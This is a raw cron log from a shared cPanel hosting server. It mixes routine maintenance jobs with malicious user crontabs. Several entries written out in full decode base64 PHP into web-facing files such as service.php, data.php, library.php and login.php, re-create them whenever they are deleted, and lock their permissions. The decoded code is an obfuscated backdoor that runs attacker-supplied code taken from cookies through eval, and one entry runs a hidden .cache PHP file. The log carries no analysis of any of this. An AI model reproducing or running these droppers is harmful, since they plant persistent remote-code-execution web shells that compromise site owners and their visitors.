Apr 19 06:08:01 medusa CROND[30112]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:09:01 medusa CROND[22079]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:09:02 medusa CROND[22192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:09:02 medusa CROND[22193]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:09:02 medusa CROND[22195]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:09:02 medusa CROND[22197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:09:02 medusa CROND[22198]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 06:09:02 medusa CROND[22199]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:09:02 medusa CROND[22200]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:09:02 medusa CROND[22202]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:09:02 medusa CROND[22204]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:09:02 medusa CROND[22203]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:09:02 medusa CROND[22206]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:09:02 medusa CROND[22207]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:10:01 medusa CROND[13515]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:10:01 medusa CROND[13521]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:10:01 medusa CROND[13529]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:10:01 medusa CROND[13580]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 06:10:02 medusa CROND[13636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:10:02 medusa CROND[13654]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:10:02 medusa CROND[13655]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:10:02 medusa CROND[13656]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:10:02 medusa CROND[13657]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:10:02 medusa CROND[13666]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:10:02 medusa CROND[13662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:10:02 medusa CROND[13668]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:10:02 medusa CROND[13667]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:10:02 medusa CROND[13669]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:10:02 medusa CROND[13671]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:10:02 medusa CROND[13674]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:10:02 medusa CROND[13673]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:10:02 medusa CROND[13675]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:10:02 medusa CROND[13676]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:10:02 medusa CROND[13664]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 06:10:02 medusa CROND[13681]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 06:10:02 medusa CROND[13663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:10:02 medusa CROND[13665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:10:02 medusa CROND[13686]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
